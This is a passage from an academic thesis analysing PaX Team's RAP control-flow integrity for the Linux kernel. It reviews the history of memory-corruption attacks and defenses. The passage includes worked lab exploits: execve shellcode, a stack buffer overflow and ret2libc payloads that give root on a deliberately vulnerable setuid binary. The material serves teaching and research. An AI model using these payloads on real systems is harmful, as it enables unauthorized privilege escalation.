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Abstract
Since its early days, the Linux kernel has been one of the most important targets for
non-privileged attackers looking to elevate their privileges on the system in order to
perform unauthorized operations with administrative rights. Due to increased focus by
the information security community in operating system’s security, researchers have
been trying to prevent memory corruption vulnerabilities and their exploitation by
introducing new security defenses and mitigations, reducing the kernel’s attack surface
and improving kernel self-protection.
Control-Flow Integrity (CFI) is a promising security defense that, in theory, detects
overwritten code pointers prior to their use (function pointers, return addresses, etc.),
thus breaking code-reuse attacks. These attacks have been the state-of-the-art exploit
technique for many years whenever exploiting memory corruption vulnerabilities, in
order to execute existing out-of-intended-order code. By being unable to hijack the
kernel’s control-flow, attackers must shift their exploit technique into data-only attacks.
As the name indicates, data-only attacks is an exploit technique where attackers focus
on corrupting critical data, e.g., decision-making data, instead of trying to subvert
control-flow.
In the present thesis, we will perform a deep analysis of the public version of the first
production-ready CFI solution for the Linux kernel, created and announced to the world
by the PaX Team, named Reuse Attack Protector (RAP), while giving insight into its
implementation details, possible weaknesses, and demonstrate that when attacking the
Linux kernel, CFI defenses are mostly useless if one can’t protect such data.
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Resumo
Desde os seus primeiros dias, o kernel do Linux tem sido um dos mais importantes alvos
para atacantes não privilegiados que procuram elevar os seus privilégios no sistema
para efectuarem operações não autorizadas com privilégios administrativos. Devido à
crescente atenção pela comunidade de segurança informática na segurança de sistemas
operativos, os investigadores têm vindo a tentar previnir vulnerabilidades de corrupção
de memória e a sua exploração introduzindo novas defesas de segurança e mitigações,
reduzindo a área de ataque do kernel e melhorando a sua auto-protecção.
Control-Flow Integrity (CFI) é uma defesa de segurança promissora que, em teoria,
detecta se apontadores para código foram corrompidos antes de serem usados (aponta-
dores para funções, endereços de retorno, etc.), quebrando assim os ataques de reuso
de código. Estes ataques têm sido a técnica de exploração de última geração que se
tem verificado ao longo dos anos quando se exploram vulnerabilidades de corrupção de
memória, com o objectivo de executar código existente fora de ordem. Sendo incapazes
de alterar o controlo de fluxo do kernel, os atacantes são obrigados a alterar a sua
técnica de exploração para ataques a dados. Como o seu próprio nome indica, ataques a
dados é uma técnica de exploração onde atacantes procuram corromper dados críticos,
por exemplo, dados de tomada de decisão, ao invés de subverter o controlo de fluxo.
Na presente tese, iremos efectuar uma análise aprofundada da versão pública da
primeira solução CFI pronta para sistemas em produção para o kernel do Linux, criada
e anunciada ao mundo pela PaX Team, denominada Reuse Attack Protector (RAP),
enquanto se fornecem detalhes da sua implementação, possíveis falhas, e demonstrar
que quando se ataca o kernel do Linux, as defesas CFI são maioritariamente inúteis se
este tipo de dados não são protegidos.
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Chapter 1
Introduction
For a long time, attackers have been using generalized, application-independent
exploit techniques such as code-reuse attacks (ROP/JOP) whenever exploiting memory
corruption vulnerabilities. By corrupting function pointers, return addresses, or any
kind of code pointers, the attacker is able to hijack the control-flow of the vulnerable
program, in our case the Linux kernel, and execute arbitrary code by returning into
executable regions of memory already present in the kernel’s address space (usually
the .text segment).
In the last few years, defenders have been focusing, researching and trying to
implement Control-Flow Integrity (CFI) defenses in order to prevent attackers from
being able to return into existing out-of-intended-order code. The rationale behind
such defenses is that by making sure that control-flow transfers occur only to valid
locations, it becomes very hard or even impossible for an attacker to execute arbitrary
code of his or her choosing.
The execution of arbitrary attacker-controlled code was first publicly seen in the
famous Morris worm [1] and it is still relevant today. Even though the exploit
techniques that allow arbitrary code execution have changed over time, mainly due to
the introduction of several defenses and mitigations in modern systems such as ASLR,
PAGEEXEC/NX/DEP/WˆX, the ability to execute attacker-chosen code has been the
most preferred method when it comes to exploiting memory corruption vulnerabilities.
Data-only attacks, as the name indicates, is an exploit technique in which attackers
focus on corrupting critical data, instead of trying to subvert control-flow. Very little
research has been done in this area in comparison to code-reuse attacks when exploiting
the Linux kernel.
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In order for a CFI solution to be considered, at least, reasonable, it has to assume
that an attacker has the most powerful of the primitives: the ability to read from
arbitrary memory and write to arbitrary memory. Assuming these same (or weaker)
primitives, we’ll demonstrate that when attacking the Linux kernel, CFI defenses are
mostly useless, if one can’t protect sensitive kernel data.
1.1 Motivation
The exploitation of memory corruption vulnerabilities in the Linux kernel has always
been a favorite for attackers looking to obtain full privileged access in the system,
due to its large attack surface, frequent vulnerabilities and lack of security defenses
compared to user-land applications. Linus Torvalds, the creator of the Linux kernel, has
also publicly expressed his feelings towards security bugs and the information security
community in general, stating that "security bugs should not be glorified or cared about
as being any more ’special’ than a random spectacular crash due to bad locking" and
that "Security people are often the black-and-white kind of people that I can’t stand. I
think the OpenBSD crowd is a bunch of masturbating monkeys" [2]. In the last few
years, some security researchers and kernel developers have finally moved away from
this antiquated point of view and decided that security defenses and mitigations should
be included into the mainline Linux kernel, thus creating the Kernel Self-Protection
Project (KSPP) [3].
Before the creation of the KSPP, the PaX Team [4] and grsecurity [5], who are the
pioneers of many of today’s operating system’s security defenses, independently created
patches for the Linux kernel to add various security hardening mechanisms and mitiga-
tions to protect against memory corruption vulnerabilities and their exploitation by
eliminating entire classes of bugs from being exploitable and killing exploit techniques.
In 2015, the PaX Team announced to the world the first production-ready CFI
solution named RAP that promised to eliminate code-reuse attacks for both user mode
applications and the Linux kernel [6]. Since code-reuse attacks have been the state-
of-the-art exploit technique for many years whenever exploiting memory corruption
vulnerabilities, it becomes clear that the next move for attackers is to research the
only exploit technique left, data-only attacks, and what possible privilege escalation
vectors exist assuming an arbitrary kernel read/write primitive. While no CFI solution
is yet included in the mainline Linux kernel, the KSPP is certainly looking forward to
integrate it sometime in the near future [7].
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"In other words, it’s time for offense folks to start thinking of post-ROP exploitation
& cry after realizing only data-only attacks are left" - Bradley "spender" Spengler from
grsecurity
1.2 Contributions
In this thesis we have made the following contributions:
• Analysis of PaX Team’s RAP: We conduct a deep analysis of PaX Team’s
CFI solution RAP when applied to the Linux kernel in order to understand its
inner workings (instrumented code and relevant instruction encodings) and how
it supposedly stops code-reuse attacks. This analysis is deemed essential to find
potential weaknesses in its implementation that could result in a possible defense
bypass.
• Breaking RAP:We identified two flaws present in the last public PaX/grsecurity
patch for the Linux kernel (4.9.24) that may allow attackers to execute arbitrary
code in kernel context. The first flaw is user configuration dependent (depends on
CONFIG_PAX_KERNEXEC=y, CONFIG_GRKERNSEC_SYSCTL=y and
grsec_lock = 0 ), potentially allowing the injection of executable code inside the
Linux kernel via grsecurity’s sysctl entries, since the .rodata section is left as
executable and users having the ability to write arbitrary integers into these
entries. The second flaw abuses interrupt returns and/or system call returns via
the iret instruction to redirect kernel code execution into an arbitrary location in
kernel space.
• Data-only attacks: By assuming perfect CFI and the actual end of control-flow
hijacking attacks in the Linux kernel, we detail a few non-control-data attacks
outside the commonly seen in read-world public exploits, specifically, corruption
attacks against core_pattern, binfmt_misc and the page cache. While not a
complete list, it demonstrates that there is still far too many privilege escalation
vectors available in an attacker’s arsenal when attacking the Linux kernel via
memory corruption.
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1.3 Thesis Structure
The present thesis is divided into four chapters. Each chapter describes various
levels of the intrinsic details of memory corruption exploitation in the presence of
several different security mechanisms, while assuming an arbitrary read/write memory
access attack model.
Chapter 2 introduces the problem of memory corruption and how it can be
subsequently abused by potential adversaries. Security defenses that attempt to address
these issues and their corresponding bypass techniques are presented in chronological
order, giving credit where it’s due.
Chapter 3 details the instrumented encodings/checks inserted by the PaX Team’s
RAP, possible weaknesses and exploitation techniques in the context of the Linux
kernel.
Chapter 4 demonstrates a few non-control-data attacks (possible privilege escalation
vectors) not commonly seen in read-world exploits against the Linux kernel, while
assuming the end of arbitrary code execution and perfect CFI.
Chapter 5 concludes the thesis, describing the final observations related to the public
version of PaX Team’s RAP and CFI defenses in general, possible improvements and
future work.
Chapter 2
State of The Art
The history of memory corruption attacks, techniques and defenses is still somewhat
obscure even to this day. The (underground) hacker scene of the mid-90’s played a
big role in shaping today’s information security industry. With such history being
scattered throughout the whole internet, e.g., ezines, mailing lists, etc., it is important
to document how and why the exploit techniques and security mitigations evolved over
time. Simply put, how and why did we reach this point?
2.1 Memory Corruption
Due to the nature of the C language and its lack of memory safety, memory corruption
occurs when the contents of a memory location are altered without the intention of the
original programmer. It happens when the programmer mistakenly and unintentionally
performs pointer arithmetic without bounds-checking, dereferences dangling pointers,
performs bad pointer casts, etc., which in turn leads to undefined behavior (UB). In
some cases, memory corruption can lead to security vulnerabilities that allow attackers
to take advantage of them and exploit them. In other cases, such vulnerabilities might
lead to a crash. In any case, programmers should always be aware for these types of
bugs in order to increase the security of their software.
Even though some types of memory corruption vulnerabilities are harder to find in
commonly used software, mostly due to increased knowledge over the years of good
programming practices in general, such vulnerabilities may exist in all kinds of complex
code in extreme conditions.
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In order to exploit memory corruption vulnerabilities, attackers must first find a
suitable vulnerability that allows them to overwrite critical portions of writable memory
such as altering code pointers to hijack control-flow and be able to execute arbitrary
code, or altering data where the attacker relies on normal program behaviour (as far
as control-flow is concerned) but moves the CPU into a weird state (non well-defined
state) [8].
Memory corruption attacks were first publicly described in [9], compiled to present
security requirements for the US Air Force in 1972. "By supplying addresses outside
of the space allocated to the users program, it is often possible to get the monitor to
obtain unauthorized data for that user, or at the very least, generate a set of conditions
in the monitor that causes a system crash." In the following paragraph, it reads: "In
one contemporary operating system, one of the functions provided is to move limited
amounts of information between system and user space. The code performing this
function does not check the source and destination addresses properly, permitting
portions of the monitor to be overlaid by the user. This can be used to inject code into
the monitor that will permit the user to seize control of the machine.". An interesting
detail about these quotes is that they were written about the lack of now-equivalent
access_ok() checks (checks if a user space pointer is valid) being performed in the
Linux kernel.
Having that said, it is important to remember that memory corruption attacks have
been and continues on to be an unsolved problem for at least 47 years.
2.2 The "Morris worm"
While the first public mention of memory corruption attacks was back in 1972, it
wasn’t until later, in 1988, that the first widely known memory corruption attack took
place. Robbert Tappan Morris, while a student at Cornell University, developed a
memory corruption exploit against fingerd. Specifically, the exploit took advantage
of a stack-based buffer overflow vulnerability [1]. Although the worm exploited other
vulnerabilities (sendmail when compiled with DEBUG flag would allow OS commands
to be sent and executed via the recipients address list) and used various other techniques
(local hashed password cracking and use of rsh and rexec) in order to spread itself into
other machines and execute itself from there, thus the name worm, the fingerd exploit
was the only one that relied on memory corruption.
Fingerd(8) is simply a daemon that serves as a remote user information server. It
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allows users to obtain information about other users on a remote machine, such as full
name or login name of a user, wether or not he is currently logged in, last login, etc.
It listens for Transmission Control Protocol (TCP) connections on a port, being the
default port 79, and for every connection reads an input line, passes the line to the
finger(1) utility and then copies the output of finger to the user on the client machine.
The fingerd attack exploited the fact that the input line was read using the gets()
routine from the C standard library (libc). Since gets() reads a string from standard
input into the buffer (located in the stack) passed as an argument without any bounds-
checking (stops reading the string until it encounters a terminating newline (’\n’) or
EOF which it replaces with a null byte ’\0’), Morris was able to overflow the stack
buffer with controlled content, which corrupted memory adjacent to the buffer, and
eventually overwrite the saved return address of main() with an address that pointed
into his maliciously injected code, also known as shellcode, that simply spawned a shell
(sh, or the bourne shell) in order to execute arbitrary OS commands on the remote
system. Finally, when main() returned, fingerd’s control-flow was hijacked and Morris’
own injected code gets executed with the privileges of fingerd, which was root.
2.3 Classic stack-based buffer overflow
In order to understand the attack performed by Morris and classic stack-based buffer
overflow exploitation in general, it is important to demonstrate and detail an exploit
against the simplest of cases first.
#include <stdio.h>
int main()
{
char buffer[50];
gets(buffer);
printf("%s\n", buffer);
return 0;
}
Listing 1: Sample stack-based buffer overflow vulnerability
As mentioned in 2.2, the above code (listing 1) contains a linear stack-based buffer
overflow vulnerability due to the fact that buffer is a local variable of main(), which
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means that it is stored in the stack, and gets() can write past the end of buffer if
the attacker-controlled input string is greater than 50 characters (bytes) long, thus
corrupting its adjacent memory. Following the calling convention of System V AMD64
ABI [10], when overwriting past the end of buffer, eventually, the saved return address
of main() is hit and overwritten. When compiling the above code using gcc (Debian
4.9.2-10+deb8u1) 4.9.2 with options -fno-stack-protector and -z execstack, in order to
disable stack protection and enable executability of the stack, respectively, an attacker
needs to submit 72 characters (bytes) to overflow buffer and hit the return address
with the null byte gets() uses to substitute the newline character or EOF, as per the
man page.
Note: ASLR, a security defense that we will describe later must also be disabled by
modifying /proc/sys/kernel/randomize_va_space to 0, for example.
$ python -c "print 'A'*72" | ./bof
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAA
Segmentation fault
$ dmesg | tail -1
[12717.771067] bof[2709]: segfault at 100000000 ip 0000000100000000
sp 00007fffffffe8d0 error 14 in libc-2.19.so[7ffff7a31000+1a1000]
Listing 2: Corrupting the saved return address with a single NULL byte
Notice how ip (instruction pointer) in listing 2 is 0000000100000000, which led to a
crash since this address isn’t mapped in the process’ address space.
$ python -c "print 'A'*73" | ./bof
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAA
Segmentation fault
$ dmesg | tail -1
[15236.841187] bof[3081]: segfault at ffffffff ip 00007ffff7a50041
sp 00007fffffffe8e0 error 4 in libc-2.19.so[7ffff7a31000+1a1000]
Listing 3: Corrupting the saved return address with NULL byte and ’A’
By submitting 73 A’s instead of 72, we can now observe (in listing 3) that the least
significant byte of ip 00007ffff7a50041 was corrupted with the newly introduced A,
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since character A is 0x41 in hexadecimal. The null byte introduced by gets() is still
there, following 0x41 (0041). If a new A was introduced, making it 74 A’s, ip would
be 00007ffff7004141 and so on. As we can see, the return address of main() is being
overwritten with attacker-controlled values. Now, the goal of an attacker is to overwrite
the return address of main() and point it into malicious executable instructions that
were purposely injected for the attack (since the stack is writable and executable) into
the process’ address space, known as shellcode.
2.3.1 Shellcode
Shellcode is simply a name that refers to a series of instructions, mostly used as
part of the payload when exploiting memory corruption vulnerabilities, that execute
whatever the attacker intends to. Usually, these series of instructions provide a new
shell for the attacker, in order to execute arbitrary OS commands with the privileges
of the vulnerable program.
$ echo -n $'\xeb\x0b\x5f\x48\x31\xd2\x52\x5e\x6a\x3b
\x58\x0f\x05\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f
\x73\x68' | ndisasm -b64 -
00000000 EB0B jmp short 0xd
00000002 5F pop rdi
00000003 4831D2 xor rdx,rdx
00000006 52 push rdx
00000007 5E pop rsi
00000008 6A3B push byte +0x3b
0000000A 58 pop rax
0000000B 0F05 syscall
0000000D E8F0FFFFFF call qword 0x2
00000012 2F db 0x2f
00000013 62 db 0x62
00000014 69 db 0x69
00000015 6E outsb
00000016 2F db 0x2f
00000017 7368 jnc 0x81
Listing 4: execve("/bin/sh", 0, 0) shellcode
The above (listing 4) series of instructions execute a new shell by issuing an
execve("/bin/sh", 0, 0) syscall. First, we jump into address 0xd, call address 0x2
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(this also pushes address 0x12 into the stack (return address), which is the address
of "/bin/sh"), pop the address of "/bin/sh" into rdi (first argument for execve()), xor
rdx with rdx which zeroes rdx (third argument for execve()), push rdx (0) into the
stack, pop the value on top of the stack (0) into rsi (second argument for execve()),
push the byte 0x3b into the stack, pop the value on top of the stack again (0x3b) into
rax (execve() syscall number), and finally issue the syscall. Even though there are
simpler instructions to perform the same syscall, this way instructions are null byte
free. Shellcode is usually null byte free since some vulnerable routines such as strcpy(),
etc., stop copying strings into the destination buffer when a null byte is encountered,
thus breaking the ability to inject the entire shellcode into the process’ address space.
2.3.2 Exploitation
Now that we know what shellcode is (from 2.3.1) and how to theoretically exploit
the vulnerable program in 2.3, it is time to put it all into practice. To demonstrate
the value of successful exploitation, we set the Set-User-ID (setuid or simply SUID)
bit, with root as owner, to the vulnerable binary. Setuid-root binaries are binaries
that when executed by unprivileged users will execute as root. If such binaries contain
vulnerabilities, attackers may be able to exploit them and elevate privileges on the
system.
$ ls -l ./bof
-rwsr-xr-x 1 root root 6808 Mar 8 17:31 bof
$ (python -c "print 'A'*72 + '\xe8\xe8\xff\xff\xff\x7f\x00\x00'
+ '\x90'*1000 + '\xeb\x0b\x5f\x48\x31\xd2\x52\x5e\x6a\x3b\x58
\x0f\x05\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'";
cat) | ./bof
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAA^^?
id
uid=1000(ghetto) gid=1000(ghetto) euid=0(root)
Listing 5: Classic stack-based buffer overflow exploitation
From the above demonstration (listing 5), we can tell that the exploit worked. The
effective user id (euid) is 0 (root), which means that we were able to elevate privileges
and execute commands as root.
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The exploit works as follows:
• Send 72 A’s to fill and overwrite the memory adjacent to buffer until the return
address is overwritten
• Overwrite the return address with an address that points into the middle of the
NOP sled (\x90)
• The NOP sled will execute and so does the shellcode that follows
The NOP sled is simply a series of nop instructions that spray memory to higher
the probability of them being at a certain address. Obviously, we point the corrupted
return address to this NOP sled, so that the shellcode will also eventually get executed.
We could also simply point the return address to the beginning of the shellcode without
making use of the NOP sled, but variations of the stack layout due to environment
variables might place the shellcode in an unexpected address.
Note: On systems where "/bin/sh" is a symbolic link to a shell that drops privileges
if the effective user id (euid) differs from the real user id (ruid), such as bash and
newer versions of dash, attackers need to use shellcode that performs setuid(0) +
execve("/bin/sh", 0, 0) syscalls when exploiting SUID executables in order to actually
elevate their privileges, unless these are already running under ruid of 0.
Even though Morris had already written a stack-based buffer overflow exploit in 1988,
the first public post on how to exploit these types of vulnerabilities, that would gain
later widespread attention, was when Mudge, in 1995, wrote and posted his document
titled "How to write buffer overflows" [11], mostly as a reminder note to himself to not
forget what he had been working on. Mudge sent a copy of his work to Aleph One,
and, a year later, in 1996, Aleph One posted the famous "Smashing The Stack For Fun
And Profit" [12] article on Phrack (ezine written by hackers for hackers), which is the
classic go-to article in order to understand stack-based buffer overflow vulnerabilities
and their exploitation, due to the high-quality of the post at the time of writing and
step-by-step introduction.
2.4 Non-executable stack
As a security measure to try and stop the exploit technique (code injection) used
when exploiting memory corruption vulnerabilities at the time, Solar Designer, in
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1997, developed a patch for the Linux kernel in order make a process’ stack non-
executable on x86 using the segmentation logic [13]. The whole idea of returning
into instructions injected by the attacker worked because operating systems did not
effectively use segmentation and created both code (USER_CS) and data (USER_DS)
segments with base address 0 and limit 0xffffffff (4 GB) (only the lower 3GB are
actually used for user-space and the upper 1GB for the kernel), which means that the
instruction pointer could be pointing anywhere as there were no restrictions (limits)
imposed by the code segment. By modifying the limits of a newly created descriptor
(USER_HUGE_CS), which would now be used as the actual code segment, the stack
was left out and the instruction pointer could no longer point into it, otherwise it
would result in a hardware fault. Then, the Linux kernel’s general protection fault’s
(#GP) exception handler do_general_protection() would be invoked and detected
that the instruction pointer was actually pointing into the stack, thus breaking the
execution attempt. In cases where the stack needed to be executable (GCC nested
function trampolines and kernel generated signal handler return stubs) but was left
out from the USER_HUGE_CS limits, a fault occured and do_general_protection()
would detect that the stack execution was legitimate and it would switch to the old
and original USER_CS limits in order to allow stack execution.
While the stack was non-executable, exploit techniques evolved and it became
clear that the defense employed wasn’t enough to stop memory corruption attacks.
Firstly, only the stack was non-executable, all the other writable memory areas were
still executable, e.g., the heap. Secondly, even though the stack was non-executable,
instead of returning into the stack (since it would now result in a fault), attackers
could return into other already present executable regions of memory in order to
execute attacker-chosen instructions, such as returning into libc routines (ret2libc or
return-to-libc).
2.5 return-to-libc
Since attackers could no longer return into the stack, Solar Designer, again, a few
months later (still in 1997), came up with the idea of returning into executable regions
of memory already existent in a process’ address space [14] in order to break his own
non-executable stack patch described in 2.4. Specifically, Solar Designer returned into
system() in libc and passed as first argument the string "/bin/sh", which, due to x86
cdecl calling convention, function arguments are passed on the stack. To understand the
attack performed by Solar Designer at the time and the exploit technique of executing
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existing code out-of-intended program order in general, in this case, using the classic
ret2libc technique, it is important to demonstrate and detail an exploit again the
simplest of cases first.
#include <stdio.h>
int main()
{
char buffer[50];
gets(buffer);
printf("%s\n", buffer);
return 0;
}
Listing 6: Sample program with a stack-based buffer overflow vulnerability
As we have seen in 2.3, the above code (listing 6) contains a linear stack-based buffer
overflow vulnerability, which in turn allows attackers to write past the end of buffer by
submitting an input string greater than 50 characters (bytes) and eventually corrupt
the saved return address of main(). When compiling the above code using gcc (Debian
4.9.2-10+deb8u1) 4.9.2 with options -m32, in order to compile it as a 32-bit executable
(ret2libc is slightly different when exploiting 64-bit applications), -fno-stack-protector,
in order to disable stack protection and -mpreferred-stack-boundary=2 to allow the
stack to be 4-byte aligned (since gcc version 4.5, the stack is aligned in a 16-byte
boundary), an attacker needs to submit 54 characters (bytes) to overflow buffer and hit
the return address with the null byte introduced by gets() as described in 2.3. Again,
ASLR must be disabled and we set the SUID bit and root as owner.
$ ls -l ./bof
-rwsr-xr-x 1 root root 4976 Mar 13 16:08 ./bof
$ python -c "print 'A'*54" | ./bof
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
$ dmesg | tail -1
[18675.652985] bof[5791]: segfault at 1d0 ip 00000000f7e20a00 sp
00000000ffffda30 error 4 in libc-2.19.so[f7e07000+1a7000]
Listing 7: Single NULL byte saved return address overwrite
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As seen above (listing 7), the least significant byte (LSB) of ip 00000000f7e20a00 is
0x00. This means that characters (bytes) 55-59 are used to corrupt the saved return
address of main().
# ./bof
^Z
[1]+ Stopped ./bof
# cat /proc/$(pidof bof)/maps
08048000-08049000 r-xp 00000000 08:01 526623 /home/ghetto/bof
08049000-0804a000 rw-p 00000000 08:01 526623 /home/ghetto/bof
f7e06000-f7e07000 rw-p 00000000 00:00 0
f7e07000-f7fae000 r-xp 00000000 08:01 393264 /lib32/libc-2.19.so
f7fae000-f7fb0000 r--p 001a7000 08:01 393264 /lib32/libc-2.19.so
f7fb0000-f7fb1000 rw-p 001a9000 08:01 393264 /lib32/libc-2.19.so
f7fb1000-f7fb4000 rw-p 00000000 00:00 0
f7fb4000-f7fb5000 rw-p 00000000 00:00 0
f7fd7000-f7fd9000 rw-p 00000000 00:00 0
f7fd9000-f7fda000 r-xp 00000000 00:00 0 [vdso]
f7fda000-f7fdc000 r--p 00000000 00:00 0 [vvar]
f7fdc000-f7ffc000 r-xp 00000000 08:01 393261 /lib32/ld-2.19.so
f7ffc000-f7ffd000 r--p 00020000 08:01 393261 /lib32/ld-2.19.so
f7ffd000-f7ffe000 rw-p 00021000 08:01 393261 /lib32/ld-2.19.so
fffdd000-ffffe000 rw-p 00000000 00:00 0 [stack]
Listing 8: Reading /proc/[pid]/maps of the running vulnerable program
By reading /proc/$PID/maps of a process we can observe its currently mapped
regions of memory and their access permissions (listing 8). Since the executable is SUID-
root, only root users are able to read such proc entry (PTRACE_MODE_READ_FSCREDS
check) [15]. As we can see above, the stack is not executable, but (obviously) there are
other regions of memory that are executable.
$ ls -l ./bof
-rwsr-xr-x 1 root root 4976 Mar 13 16:08 ./bof
$ (python -c "print 'A'*54 + '\xe0\x53\xe4\xf7' + 'AAAA' + '\x51
\x65\xf6\xf7'"; cat) | ./bof
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAQe
id
uid=1000(ghetto) gid=1000(ghetto) euid=0(root)
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exit
Segmentation fault
$
Listing 9: returning-into-libc
From the above demonstration (listing 9), we can tell that the exploit worked. The
effective user id (euid) is 0 (root), which means that we were able to elevate privileges
and execute commands as root.
The exploit works as follows:
• Send 54 A’s to fill and overwrite the memory adjacent to buffer until the return
address is overwritten
• Overwrite the return address with the address of system() in libc
f7e07000-f7fae000 r-xp 00000000 08:01 393264 /lib32/libc-2.19.so
• Set the return address of system() to 0x41414141 (4 A’s)
• Set the argument of system() to be the address of the string "/bin/sh" in libc
f7e07000-f7fae000 r-xp 00000000 08:01 393264 /lib32/libc-2.19.so
Even though the above exploit works, it does not exit cleanly. When system()
returns (by exiting the new shell), the return address of system() was set to 0x41414141.
Instead, we should point it into exit().
$ (python -c "print 'A'*54 + '\xe0\x53\xe4\xf7' + '\xb0\x81
\xe3\xf7' + '\x51\x65\xf6\xf7'"; cat) | ./bof
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASQe
id
uid=1000(ghetto) gid=1000(ghetto) euid=0(root)
exit
$
Listing 10: returning-into-libc and exiting cleanly
By using exit() as the return address of system(), we can now observe that the
process did not crash and exited cleanly (listing 10).
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2.6 Stack canary
In late 1997, Crispin Cowan announced StackGuard on bugtraq [16], published in
January 1998 [17], a security defense that made it possible to detect linear stack-based
buffer overflow exploits by placing a random canary value next to the saved return
address on the stack. When exploiting such vulnerabilities, as we have seen, attackers
would usually go after corrupting the saved return address in order to hijack the
control-flow of the vulnerable program to execute arbitrary attacker-controlled code.
By placing the random canary value in the stack (which is done by the compiler adding
instructions in a function’s prologue) next to the saved return address, when a linear
stack-based buffer overflow occurs, the random canary value will be overwritten and so
will the return address, just like usual. However, on a function’s epilogue, instructions
are added by the compiler to compare the initial and original random canary value
with the now corrupted canary on the stack before returning. Since they are now
different, a stack-based buffer overflow is detected and so the program aborts. If the
original random canary value isn’t overwritten in the stack, execution continues as
normal, since a stack-based buffer overflow wasn’t detected.
In 2001, IBM developed its own set of GCC patches for stack-smashing protection,
named ProPolice [18]. The idea behind ProPolice was to improve StackGuard by
rearranging local stack variables so that buffers were located next to the random canary
value, so in cases where stack-based buffer overflows exist, what’s next to the buffer is
the random canary value, not other local variables that could have been corrupted if
the layout wasn’t rearranged.
In 2005, RedHat re-implemented stack smashing protection for inclusion in GCC 4.1.
RedHat’s version is the now commonly used stack smashing protector for Linux. We
will now demonstrate how stack smashing protector adds instructions in a function’s
prologue and epilogue to make use of stack canaries.
#include <stdio.h>
int main()
{
char buffer[50];
gets(buffer);
}
Listing 11: Program containing a stack-based buffer overflow vulnerability
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As mentioned in 2.2, the above code (listing 11) contains a linear stack-based buffer
overflow vulnerability due to the fact that buffer is a local variable of main(), which
means that it is stored in the stack, and gets() can write past the end of buffer if
the attacker-controlled input string is greater than 50 characters (bytes) long, thus
corrupting its adjacent memory. When compiling the above code using gcc (Debian
4.9.2-10+deb8u1) 4.9.2 with option -fstack-protector-all to enable stack protection,
an attacker needs to submit 57 characters (bytes) to overwrite one byte of the stack
canary, which is enough to detect its corruption in the function’s epilogue. Actually,
only 56 characters are needed, but since the first byte of the random canary value is
always null (’\x00’), the newline character of EOF read by gets() will be substituted
with the null byte, which means that the canary won’t actually be modified because
the first byte is overwritten with its original value. The first byte of the random canary
is always null in order to stop most copy routines such as strcpy() from overwriting the
stack canary with its original value. The null byte is also used to try and stop routines
such as printf() to read the random canary value.
$ python -c "print 'A'*57" | ./canary
*** stack smashing detected ***: ./canary terminated
Aborted
$ objdump -d -M intel --no-show-raw-insn canary | \
grep '<main>' -A15
0000000000400576 <main>:
400576: push rbp
400577: mov rbp,rsp
40057a: sub rsp,0x40
40057e: mov rax,QWORD PTR fs:0x28
400587: mov QWORD PTR [rbp-0x8],rax
40058b: xor eax,eax
40058d: lea rax,[rbp-0x40]
400591: mov rdi,rax
400594: call 400470 <gets@plt>
400599: mov rdx,QWORD PTR [rbp-0x8]
40059d: xor rdx,QWORD PTR fs:0x28
4005a6: je 4005ad <main+0x37>
4005a8: call 400440 <__stack_chk_fail@plt>
4005ad: leave
4005ae: ret
Listing 12: Stack smashing detection and main() disassembly
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As we can see (listing 12), the vulnerable program detected an attempt of exploiting
the stack-based buffer overflow vulnerability. If we look at address 40057e, we can
observe that the stack canary is obtained from the %fs segment register (points into the
Thread Control Block (TCB)) at offset 0x28 into rax. Later, in the following instruction
(400587 ), the value in rax (the stack canary) is stored at [rbp-0x8], which is next to the
saved frame pointer. The instruction at 400594 calls gets() and the stack-based buffer
overflow happens. Before the function returns, the instruction at address 400599 loads
the now corrupted stack canary into rdx, and at the following instruction (40059d) xors
the value in rdx with the value at %fs:0x28, which is the original stack canary. If the
values are the same, rdx becomes 0 and sets the zero flag (Z or ZF), meaning that the
conditional jump at 4005a6 je is taken, continuing execution as normal. If the values
are different, the conditional jump je isn’t taken, and so __stack_chk_fail is called,
meaning that it detected an exploit attempt since the stack canary was modified.
Even though stack smashing protector detects (in some cases) linear stack-based
buffer overflows, there are several weaknesses on using such defenses. As the name
indicates, stack canaries are only used on the stack, which means such protection does
not help against heap-based buffer overflows, potentially allowing these types of bugs
to be exploited. If the return address can be directly overwritten without touching
the random canary value (stack relative writes by controlling an index used to access
an array, arbitrary writes, etc.), stack smashing protector isn’t aware that something
bad happened since the random canary value isn’t modified, only the return address
itself, thus allowing control-flow hijacking. The same can be said about modifying
function pointers. Stack canaries are also vulnerable to information leaks, another
type of vulnerability, where attackers are able to read and dump memory (parts or
all, depending on the vulnerability) of a process. If an attacker is able to dump stack
contents of a process, he may be able to leak the random canary value stored on
the stack, and if a classic linear stack-based buffer overflow exists, he can overwrite
the location of the random canary value with its original value (since he obtained it
from the leak) and proceed to corrupt the saved return address. When the function
returns, the random canary value is in its original form, and execution continues to
attacker-chosen code. Stack smashing protector also does not rearrange the layout of
data within a structure, which means a stack-based buffer overflow within a structure
might corrupt other variables in that structure such as function pointers if they exist,
so it is up to the programmers to carefully and manually alter the structure’s layout at
the source code level. Also, since the random canary value is always the same within
the life of a process, on forking daemons (without later execve()), i.e, daemons that
restart after a crash via fork(), the child process shares the same memory with its
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parent and the random canary value stays the same, which means that the random
canary value can be brute-forced "byte for byte" [19]. By corrupting the first byte of the
stack canary, attackers have a 28 chance of succeeding, and it is known that they did if
the program doesn’t crash. If it didn’t crash, we can try overwriting the second byte of
the canary value and have a 28 chance of succeeding again, and so on. Attackers can
repeat this process until the all the bytes from the random canary value are known,
and then overwrite the saved return address as usual. When using threads (pthreads),
the structure that contains the original random canary value used for storing it on
the stack and later comparison is the TCB (under x86, the %gs segment points to the
TCB, and in x86_64, the %fs is used) and it is stored on the thread’s stack, vulnerable
to classic stack-based buffer overflows. By writing past the end of a vulnerable buffer
